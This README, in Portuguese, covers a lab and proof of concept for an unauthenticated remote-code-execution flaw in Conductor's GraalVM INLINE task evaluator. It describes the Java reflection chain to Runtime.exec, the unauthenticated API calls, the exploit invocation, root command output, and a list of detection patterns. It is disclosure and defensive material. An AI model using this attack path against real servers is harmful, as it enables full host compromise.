CVE-2026-58138 — Conductor (3.21.21..<3.30.2) RCE não autenticada através do avaliador INLINE GraalVM (HostAccess.ALL). Laboratório + PoC, verificado e2e (root).
Conductor (OSS / Orkes)
3.21.21… antes de3.30.2avalia JavaScript fornecido pelo usuário em tarefasINLINE(eLAMBDA/DO_WHILE/SWITCH) com um contexto GraalVM construído com acesso total ao host (HostAccess.ALL). O script reflete atéjava.lang.Runtimee executa comandos do SO. A API da comunidade não tem autenticação por padrão, então enviar um workflow com tal tarefa é execução remota de código não autenticada.
| CVE | CVE-2026-58138 |
| Aviso | vulncheck — RCE não autenticada no Conductor via avaliadores de script GraalVM |
| Afetado | Conductor 3.21.21 … antes de 3.30.2 |
| Corrigido | 3.30.2 (commits 87a7d96, c691e35) |
| Classe | CWE-94 (Injeção de Código) — sandbox polyglot do GraalVM não imposto |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticação | Nenhuma (API da comunidade é não autenticada por padrão) |
| Status | CONFIRMADO — reproduzido como root contra conductoross/conductor:3.22.3 |
Nota de versão (leia isto). A configuração do avaliador varia dentro da faixa afetada: versões até ~
3.29.x(este laboratório usa3.22.3) constroem o contexto comallowHostAccess(HostAccess.ALL)simples — a configuração sem sandbox que o CVE descreve, e a que este PoC explora diretamente. A linha3.30.0/3.30.1adicionou uma lista de bloqueiodenyAccess(...)parcial (reflexão bloqueada); a correção completa (allowHostClassLoading(false)+ endurecimento do motor) só chega em3.30.2. Este PoC tem como alvo a configuraçãoHostAccess.ALLsimples; ele não alega contornar a lista de bloqueio do3.30.1.
core/.../events/ScriptEvaluator.java (≤ 3.29.x / 3.22.3):
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // full host interop -> no sandbox
.build();
HostAccess.ALL permite que o script chame qualquer método/campo em objetos host Java. A
tarefa INLINE vincula sua entrada como $, um objeto Java real, então o script pode
pivotar: $.getClass().getClass() → java.lang.Class → Class.forName("java.lang.Runtime")
→ Runtime.getRuntime().exec(...). O avaliador Python é equivalente
(Context.newBuilder("python").allowAllAccess(true)).
INLINE carregue a expression maliciosa
(POST /api/metadata/workflow, sem autenticação).POST /api/workflow/{name}, sem autenticação).Runtime.exec reflexivo executa o comando
e o PoC retorna seu stdout como resultado da tarefa.docker compose -f lab/docker-compose.yml up -d # conductoross/conductor:3.22.3 (na faixa)
# aguarde ~60s para o servidor all-in-one iniciar
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname"
Observado:
[*] registrando workflow com uma tarefa INLINE (javascript) maliciosa ... (sem autenticação)
[*] workflow iniciado id=...; lendo saída da tarefa INLINE ...
[+] RCE NÃO AUTENTICADA CONFIRMADA - saída do comando do host Conductor:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+kali-amd64
uid=0(root) é o usuário do processo Conductor; a saída é o estado real de id/uname —
execução genuína, não echo. exploit.py usa apenas a biblioteca padrão do Python.
Qualquer um que consiga acessar a API do Conductor executa comandos arbitrários do SO (aqui como root) no host orquestrador — comprometimento total do motor de workflow, suas filas/persistência, e todos os sistemas que seus workflows e credenciais armazenadas tocam.
Sinalize definições de workflow cujas tarefas INLINE/LAMBDA/DO_WHILE/SWITCH contenham
strings expression referenciando getClass, forName, Runtime, exec,
ProcessBuilder, ou reflexão java., e processos do Conductor gerando shells.
Veja ANALYSIS.md para a cadeia de reflexão, a configuração do avaliador entre
versões e o patch.